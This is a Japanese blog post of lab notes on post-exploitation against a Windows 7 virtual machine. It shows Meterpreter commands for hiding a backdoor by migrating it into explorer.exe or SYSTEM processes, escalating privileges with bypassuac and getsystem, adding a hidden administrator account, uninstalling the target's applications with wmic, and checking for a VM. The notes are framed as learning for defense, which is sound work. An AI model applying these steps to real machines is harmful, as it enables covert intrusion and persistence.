「#ゆるいハッキング大会」に参加した。
ハッキング熱が高まった。
「ハッキング・ラボのつくりかた」を勢いで購入。
今回は、ハッキング・ラボの作り方に載っているWindows7のやり方の、
・情報奪取
・権限昇格
・バックドア設置
・ログ消し
辺りの作業プロセスの隠蔽やその他雑多なテクニックについて。
お約束
本記事は、
・防御の為に敵の攻撃を知る
・技術力向上
を目的としている為、記載内容を悪用する事は禁じます。
記載内容を実行した結果として生じた全ての事に、私は一切責任を負いません。
環境について
0.自分のノートPC
HP HP Spectre x360 Convertible 13-ac0XX/827E, BIOS F.31 04/27/2017
Linux dsnote 4.15.0-48-generic #51~16.04.1-Ubuntu SMP Fri Apr 5 12:01:12 UTC 2019 x86_64 GNU/Linux
1. KaliLinux
ハック技術: KaliLinux on Docker - Qiita
2. Windows7(攻撃対象)
ハック技術: Windows7ハック #1 Vagrant VirtualBoxで環境セットアップ編 (on Ubuntu) - Qiita
Exploit, 遠隔操作開始, バックドア設置, ログ消しまで
ハック技術: Windows7ハック #3 Exploit、情報奪取、権限昇格、バックドア設置、ログ消し編 - Qiita
隠蔽化
仕組みはよく分かっていないが、meterpreterプロンプト下でmigrate
コマンドを使うことで、
バックドアを既存のプロセスに統合させることが出来るようだ。
1. IEUser権限の"evil.exe"の隠蔽
タスクマネージャーにはevil.exeが表示されている為、バレる可能性大。
migrate
コマンドで統合する先のプロセスを選択する為、meterpreter > ps
で現在稼働中のプロセスの一覧取得。
explorer.exe
はWindowsなら動いているはずで、ログインユーザーと同じ権限で動作する事が知られている。
meterpreter > migrate (explorer.exeのPID)
を指定して統合させる。
統合先のプロセスには、同一権限のプロセスかつなかなか終了しないプロセスを選ぶのが良さそう。
2. SYSTEM権限のセッションの隠蔽
UAC機能を回避してから、getsystem
コマンドでSYSTEM権限を奪取した後、meterpreter > ps
でプロセス一覧を表示。
SYSTEM権限で動作するプロセスを選び、そのPIDでmigrate
する。
winlogon.exeとか、svchost.exeとか。
3. 隠蔽に関して注意点
UAC回避のexploitのSESSIONオプションには、migrateで隠蔽化されていないセッションを指定すること
exploit/windows/local/bypassuacモジュールは、SESSIONオプションを持つ。
このSESSIONにmigrateで隠蔽化されたセッションを指定すると、exploitを実行しても応答が返って来ず、攻撃に失敗する。
migrateしたセッションを閉じて新しいセッションでmigrateしようとしても失敗する
Error running command migrate: Rex::TimeoutError Operation timed out
が発生する。
恐らく、migrateされたペイロードがwindows側では残っていて、接続が切り替わらないのだと思う。
shellを実行している間は、タスクマネージャーにcmd.exeが表示される
ユーザ追加/削除
0. SYSTEM権限奪取->shell呼び出し
1. ユーザ追加/削除
C:\Windows\system32 > net user
....
C:\Windows\system32 > net user Administrator
AdministoratorとsshdユーザはControlPanelでは表示されない。
(Account active
がnoになっている
C:\Windows\system32 > net user test /add
C:\Windows\system32 > net user
C:\Windows\system32 > net user test 1234
パスワードを1234にする
C:\Windows\system32 > net localgroup administrators test /add
C:\Windows\system32 > net user test /delete
ターゲット端末のアプリをアンインストール
アンインストーラが用意されたタイプのアプリはアンインストール可能
0. SYSTEM権限奪取
1. インストール済みアプリを表示
msf ***(***) > sessions
msf ***(***) > use post/windows/gather/enum_applications
msf post(windows/gather/enum_applications) > set session 3(とか
msf post(windows/gather/enum_applications) > run
....
or
C:\Windows\system32 > wmic product get name, installLocation
2. アンインストール
C:\Windows\system32 > wmic product where name="アプリ名" call uninstall /nointeractive
ターゲット端末が仮想マシンかどうか
msf ***(***) > sessions
msf ***(***) > use post/windows/gather/checkvm
msf post(windows/gather/enum_applications) > set session 3(とか
msf post(windows/gather/enum_applications) > run
....
or
C:\Windows\system32 > systeminfo
Sytem Manufacturer
やSystem Model
を見る。
おわり
次はWindows10。